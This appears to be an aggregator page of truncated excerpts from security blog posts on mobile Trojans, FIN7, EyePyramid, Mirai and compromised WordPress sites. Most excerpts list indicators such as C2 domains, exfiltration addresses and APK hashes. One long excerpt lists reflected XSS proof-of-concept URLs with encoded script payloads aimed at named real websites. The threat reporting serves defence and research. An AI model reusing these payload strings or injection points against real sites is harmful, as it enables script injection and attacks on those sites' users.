Attack on Zygote: a new twist in the evolution of mobile threats
...information is sent to the cybercriminals’ server whose address the Trojan receives from a list written in the code: bridgeph2.zgxuanhao.com:8088 bridgeph2.zgxuanhao.com:8088 bridgeph3.zgxuanhao.com:8088 bridgeph3.zgxuanhao.com:8088 bridgeph4.zgxuanhao.com:8088 bridgeph2.viewvogue.com:8088 bridgeph3.viewvogue.com:8088 bridgeph3.viewvogue.com:8088 bridgeph4.viewvogue.com:8088 Or, if... more…Ztorg: money for infecting your smartphone
...of new users each day! For example, com.fluent.led.compass had 10,000–50,000 installations the day I found and reported it to Google. However, it still wasn’t deleted from Google Play the next... more…SPAM Hack Targets WordPress Core Install Directories
...www teer99 com teer code juwai teer barmateer wwwTEER ladrymbai teer common number shilling ter teershilong teercompany com shllong teer tree game mobile blog www teer game heck in teerfb... more…FIN7.5: the infamous cybercrime rig “FIN7” continues its activities
...of wscript.exe or sctasks.exe copies, etc. wscript.exe copy sctasks copy Task name C2 byzNne10.exe byzNne17.exe TaskbyzNne logitech-cdn.com c9FGG10.exe c9FGG17.exe Taskc9FGG logitech-cdn.com zEsb10.exe zEsb17.exe TaskzEsb servicebing-cdn.com IOCs extracted from docs which... more…Website Mesh Networks Distributing Malware
...web sites: X.com, Y.com and Z.com. Homer injects malware into X.com that then loads from Y.com. The malware from Y.com is loaded from Z.com and the one from Z.com is... more…Blog Comments – Analysing 100,000 Comments and Spammers
...field, they add a link to their own web site (which can increase their page rankings, visitors, etc). Example: [author] => Mary Jane [email] => info@fabfunapps.com [url] => http://fabfunapps.com [comment]... more…Conditional Malicious iFrame Targeting WordPress Web Sites
...one: sitylertudes.abbotaleweekendgetaway.com HTTP/1.1 302 Found Server: nginx Date: Sat, 13 Sep 2014 02:05:29 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 370 Connection: keep-alive Set-Cookie: ehihm=7MMcADE2AAIAAgBpphNU__9pphNUQAABAAAAaaYTVAA-; expires=Sun, 13-Sep-2015 02:05:29 GMT; path=/; domain=dolberop.chrisxp.us Location:... more…The “EyePyramid” attacks
...domains outlined by the police report follow: E-mail Addresses used for exfiltration gpool@hostpenta[.]com hanger@hostpenta[.]com hostpenta@hostpenta[.]com purge626@gmail[.]com tip848@gmail[.]com dude626@gmail[.]com octo424@gmail[.]com tim11235@gmail[.]com plars575@gmail[.]com Command-and-Control Servers eyepyramid[.]com hostpenta[.]com ayexisfitness[.]com enasrl[.]com eurecoove[.]com marashen[.]com millertaylor[.]com... more…New Version of XLoader That Disguises as Android Apps and an iOS Profile Holds New Links to FakeSpy
...to apps, and detects and blocks malware and access to fraudulent websites. Indicators of Compromise SHA256 Package App label 332e68d865009d627343b89a5744843e3fde4ae870193f36b82980363439a425 ufD.wykyx.vlhvh SEX kr porn 403401aa71df1830d294b78de0e5e867ee3738568369c48ffafe1b15f3145588 ufD.wyjyx.vahvh 佐川急便 466dafa82a4460dcad722d2ad9b8ca332e9a896fc59f06e16ebe981ad3838a6b com.dhp.ozqh Facebook... more…Darkleech + Bitly.com = Insightful Statistics
...Here is the VirusTotal analysis of the .so file that does it. Looks the same. But you’ll notice that now it uses shortened bitly.com links in the iFrames. Bitly (aka... more…Website Malware – Mobile Redirect to BaDoink Porn App
...A few weeks ago we reported that we were seeing a huge increase in the number of web sites compromised with a hidden redirection to pornographic content. It was... more…New(ish) Mirai Spreader Poses New Risks
...in stages, using multiple web resources and servers. These servers help provide a better timeline of operation for the operator. One of the directly related web hosts at downs.b591[.]com has... more…Uncovering the Inner Workings of EyePyramid
...accounts were stolen, with email accounts from the following domains being targeted: The domains being targeted @alice.it @aol.com @att.net @badoo.com @bellsouth.net @bluewin.ch @btinternet.com @comcast.net @cox.net @cyh.com.tr @earthlink.net @eim.ae @email.com @email.it... more…Gaza Cybergang Group1, operation SneakyPastes
...For more information, please contact: intelreports@kaspersky.com Summary Gaza Cybergang Group1, described in this post, is the least sophisticated of the three attack groups and relies heavily on the use of... more…New GnatSpy Mobile Malware Family Discovered
...com.app.voice Voice 1b1bff4127c9f868f14bc8f2526358cfc9ff1259b7069ab116e7c52e43f2c669 com.messenger.hike Android Setting 1c0e3895f264ac51e185045aa2bf38102da5b340eb3c3c3f6aacb7476c294d62 com.app.updates Messenger Update 22078e0d00d6a0f0441b3777e6a418170e3a9e4cce8141f0da8af044fdc1e266 com.myapps.update Facebook Update 232807513c2d3e97bfcc64372d360bd9f7b6b782bd4083e91f09f2882818c0c5 com.myapps.update WhatsApp Update 313ae27ec66e533f7224d99c1a0c254272818d031456359d3dc85f02f21fd992 com.app.go Android Setting 377716c6a2b73c94d3307e9f2ea1a5b3774fa42df452c0867e7384eb45422e4f com.apps.voice Android Setting 3c604f5150ea1af994e7411e2816c277ff4f8a02b94d50b6cf4cc951430414bf com.appdev.update Android System... more…Cross site scripting (XSS) Research Paper By Aarshit Mittal and Harsha Vardhan Boppana
...they patch it) http://www.facebook.com/messages/?action=read&tid%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5c%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E%20%3E%20%3E http://money.cnn.com/search/index.html?sortBy=date&primaryType=mixed&source=money&query=%22%3E%3Ciframe+onload%3Dalert%28%2FXSS%2F%29%3E http://svs.gsfc.nasa.gov/cgi-bin/advsearch.cgi?query=moon&req=search&year=%27%22–%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E&movie_type=All&movie_size=Any&image_type=All&image_size=Any http://ibnlive.in.com/videos/video_test_new.php?section=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://www.hpc.lsu.edu/systems/system.php?system=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://www.careersingear.com/search?q=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://www.honda.co.uk/search/?q=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E=&{} http://www.nimbuzz.com/webchat_login?lang=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://pfn.sourceforge.net/index.php?opc=2%22%3E%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://www.porn8.com/search_result.php?search_id=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://blogs.news.com.au/technology/blog/index.php/?moo%3Cscript%3Ealert%28%27XSS%20Arrives%27%29;%3C/script%3E;%27 http://english.stanford.edu/graduate.php?type=placement&order_by=year_appointed&order=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://antares.stanford.edu/index.php/Site/Search?pagename=Site/Search&q=%22%20style=%27position:absolute;left:0;top:0;width:100%;height:100%;z-index:9999%27%20onmousemove=%27alert(21); http://id.post.yahoo.com/search/searchForum/p/%2526amp%253Bamp%253Bquot%253B%2526amp%253Bamp%253B%252362%253B%2B%2B%2526amp%253Bamp%253B%252339%253B%2526amp%253Bamp%253B%252339%253B%253B%2521–%2526amp%253Bamp%253Bquot%253B%2B%2B%2526amp%253Bamp%253B%252339%253B%253Balert%2528String.FromCharCode%252888%252C83%252C83%2529%2529%252F%252F%2526amp%253Bamp%253B%252392%253B%2526amp%253Bamp%253B%252339%253B%253Balert%2528String.FromCharCode%252888%252C83%252C83%2529%2529%252F%252F%2526amp%253Bamp%253Bquot%253B%253Balert%2528String.FromCharCode%252888%252C83%252C83%2529%2529%252F%252F%2526amp%253Bamp%253B%252392%253B%2526amp%253Bamp%253Bquot%253B%253Balert%2528String.FromCharCode%252888%252C83%252C83%2529%2529%252F%252F–%2526amp%253Bamp%253B%252362%253B%2B%2526amp%253Bamp%253Bquot%253B%2526amp%253Bamp%253B%252362%253B%2526amp%253Bamp%253B%252339%253B%2526amp%253Bamp%253B%252362%253B%2B%2BXss%2Bby%2B%257E%2521White%2521%257E%2B%2B%2B%2B%2B%2B%2B%2B%2B%2B%2526amp%253Bamp%253B%25238221%253B%2526amp%253Bamp%253B%252362%253B%2B%2B%2BGo%2BOver%2BMe/noRedirect/1 (PATCHED NOW) http://docs.ma3hd.net/search.php?search=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://money.cnn.com/search/index.html?sortBy=date&primaryType=mixed&source=money&query=%22%3E%3Ciframe+onload%3Dalert%28%2FXSS%2F%29%3E http://www.brita.net/pt/product_search.html?tx_indexedsearch%5Bsword%5D=%3Cscript%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2Fscript%3E&tx_indexedsearch%5B_sections%5D=0&tx_indexedsearch%5Bpointer%5D=0&tx_indexedsearch%5Bext%5D=0&tx_indexedsearch%5Blang%5D=0&tx_indexedsearch%5Bsubmit_button%5D=+&L=8&selection=product_search.html%3FL%3D8 http://tsastatus.net/search.php?q=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://www.the-west.net/?ref=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://www.pridefc.com/pride2005/index.php?mainpage=fighters_list&action=search&s_name=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%3E%3C%2FSCRIPT%3E–!%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E http://watsagri.nstl.gov.cn/SPT–QuickSearch.php?F_SearchString=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://www.mangoblog.org/generic.cfm?q=%3Cscript%3Ealert%28%27Namaste+by+Aarshit%27%29%3C%2Fscript%3E&event=googlesearch-search www.callcongressnow.com/index.cfm?action=alert(21) http://www.hotelplanner.com/FeaturedHotel.cfm?hid=92988&redirect=http%3A%2F%2Fwww.zplanet.in http://www.the-west.net/?ref=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//–%3E%3C/SCRIPT%3E%22%3C%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E... more…Kam dál?
- Jaku botnet targets engineers, scientists and academics – and likely comes from North Korea
- Microsoft Patch Tuesday – three critical updates coming, but no TIFF zero-day fix yet
- PayPal patches potential payment-stealing vulnerability
- Dating guru resurrects Robin Sage by social engineering TS/SCI holders on LinkedIn
- Starbucks Coming To iOS 6’s Passbook
- Your Threat Intelligence Has a Shelf Life
- House Keys Under the Doormat? Nope, in Your Phone
- News in brief: Gmail stops scanning; UK Parliament hack; Windows 10 S hacked
- SecureGmail: The easiest way to send encrypted emails through Gmail
- Bundestrojan: German police is cleared to use malware in spying on suspects